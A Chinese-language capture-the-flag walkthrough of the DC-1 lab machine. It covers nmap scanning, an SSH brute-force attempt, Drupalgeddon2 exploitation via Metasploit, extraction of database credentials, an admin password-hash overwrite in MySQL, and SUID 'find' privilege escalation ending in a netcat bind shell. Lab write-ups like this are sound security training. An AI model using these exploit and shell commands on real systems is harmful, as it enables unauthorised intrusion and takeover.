文章前提概述
本文介紹DC-1靶機的滲透測試流程
涉及知識點(比較基礎):
nmap掃描網段埠服務
msf的漏洞搜尋
drupal7的命令執行利用
netcat反向shell
mysql的基本操作
sudi提權
基本環境搭建
靶機下載地址:http://www.five86.com/downloads/DC-1.zip
https://download.vulnhub.com/dc/DC-1.zip
VMware(windows):https://www.52pojie.cn/thread-1026907-1-1.html
選擇高版本的vmware,不然可能不支援ova匯入
下載匯入開機vmware設定選擇nat模式,目的讓你的攻擊機和靶機在一個網段,可以根據網路環境自行設定只要在一個網段就行。
基礎資訊收集
nmap掃描
nmap -A 192.168.124.0/24
掃描結果
開發80,111,22ssh埠
Host is up (0.00039s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 37454/udp status
| 100024 1 39208/udp6 status
| 100024 1 52048/tcp status
|_ 100024 1 57763/tcp6 status
MAC Address: 00:0C:29:A6:59:A3 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.39 ms 192.168.124.145
先爆破一下ssh吧(無結果)
nmap --script=ssh-brute 192.168.124.145
訪問80埠
嘗試了註冊,登入的弱密碼,修改密碼,無效,但發現admin使用者存在
wappalyzer指紋識別,發現室Drupal系統
去漏洞庫和msf搜尋一下
msfconsole
search Drupal
發現有漏洞可以用那就開始msf吧
使用2018年的漏洞吧,是個遠端程式碼執行(程式碼審計現在真心看不懂,?)
https://www.exploit-db.com/exploits/44482
https://paper.seebug.org/567/
msf發現連線成功
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.124.145
run
尋找一下flag
shell
find / -name flag*
/home/flag4
/home/flag4/flag4.txt
/var/www/flag1.txt
開啟flag1.txt試試
cat /var/www/flag1.txt
翻譯一下:每一個好的CMS都需要一個配置檔案--你也一樣。
搜尋Drupal的配置檔案
/var/www/sites/default/settings.php,開啟
cat /var/www/sites/default/settings.php
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
發現了flag2和資料庫的賬號密碼,嘗試連線一下
先弄一下互動shell吧
python -c 'import pty;pty.spawn("/bin/bash")'
連線資料庫嘗試一下
mysql -u dbuser -p R0ck3t
檢視一下node和user表,發現flag3
select * from node;
select * from users;
為什麼要看node表呢???(user表就不說了吧)
因為drupal node機制
drupal node機制理解
so,嘗試獲得登入的密碼,hash值破解可能不太現實
我們註冊一個賬號將二者hash互換不就可以了
我丟不行,註冊沒法寫密碼,
那找到加密指令碼自己加密一個不就行了
加密指令碼位置
scripts/password-hash.sh
php scripts/password-hash.sh admin
password: admin hash: $S$DyyA5HnUonyq8xJJZeWKGIsIxaDpzGM6jbKqPiERZ/lLMnsWkUB.
嘗試更換管理員密碼的hash
update users set pass='$S$DyyA5HnUonyq8xJJZeWKGIsIxaDpzGM6jbKqPiERZ/lLMnsWkUB.' where name='admin';
下面登入測試一下,賬號admin密碼admin
在content中發現
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
也就是說我們需要尋找密碼,而且提示shadow,之前的flag4還沒看
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
應該是讓獲得管理員許可權,再去/etc/shadow看看
嘗試給許可權,還是不行
那隻能嘗試提權了
suid提權
SUID是set uid的簡稱,它出現在檔案所屬主許可權的執行位上面,標誌為 s 。當設定了SUID後,UMSK第一位為4。我們知道,我們賬戶的密碼檔案存放在/etc/shadow中,而/etc/shadow的許可權為 ----------。也就是說:只有root使用者可以對該目錄進行操作,而其他使用者連檢視的許可權都沒有。當普通使用者要修改自己的密碼的時候,可以使用passwd這個指令。passwd這個指令在/bin/passwd下,當我們執行這個命令後,就可以修改/etc/shadow下的密碼了。那麼為什麼我們可以通過passwd這個指令去修改一個我們沒有許可權的檔案呢?這裡就用到了suid,suid的作用是讓執行該命令的使用者以該命令擁有者即root的許可權去執行,意思是當普通使用者執行passwd時會擁有root的許可權,這樣就可以修改/etc/passwd這個檔案了。
參考文章:Linux下的使用者、組和許可權
已知的可用來提權的linux可行性的檔案列表如下:
nmap,vim,find,bash,more,less,nano,cp
發現系統上執行的所有SUID可執行檔案
不同系統適用於不同的命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
嘗試檢視find是否有suid許可權
/usr/bin/find /tmp -exec whoami \;
find 命令說明
-exec 引數後面跟的是command命令,它的終止是以;為結束標誌的,所以這句命令後面的分號是不可缺少的,考慮到各個系統中分號會有不同的意義,所以前面加反斜槓。-exec引數後面跟的就是我們想進一步操作的命令,so,我們可以以root的許可權命令執行了
反彈一個shell,當然find和執行命令,我們也可以返回一個root的netcat的後門
/usr/bin/find ./aaa -exec '/bin/sh' \;
/usr/bin/find ./aaa -exec netcat -lvp 4444 -e "/bin/sh" \;
netcat 192.168.124.145 4444
最後,獲得最後一個flag
cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
參考文章及說明
freebuf:https://www.freebuf.com/articles/network/218073.html
知乎:https://zhuanlan.zhihu.com/p/135342104
W3:https://medium.com/@w3rallmachines/dc-1-vulnhub-walkthrough-3a2e7042c640
最後歡迎訪問我的個人部落格:https://lmg66.github.io/
說明:本文僅限技術研究與討論,嚴禁用於非法用途,否則產生的一切後果自行承擔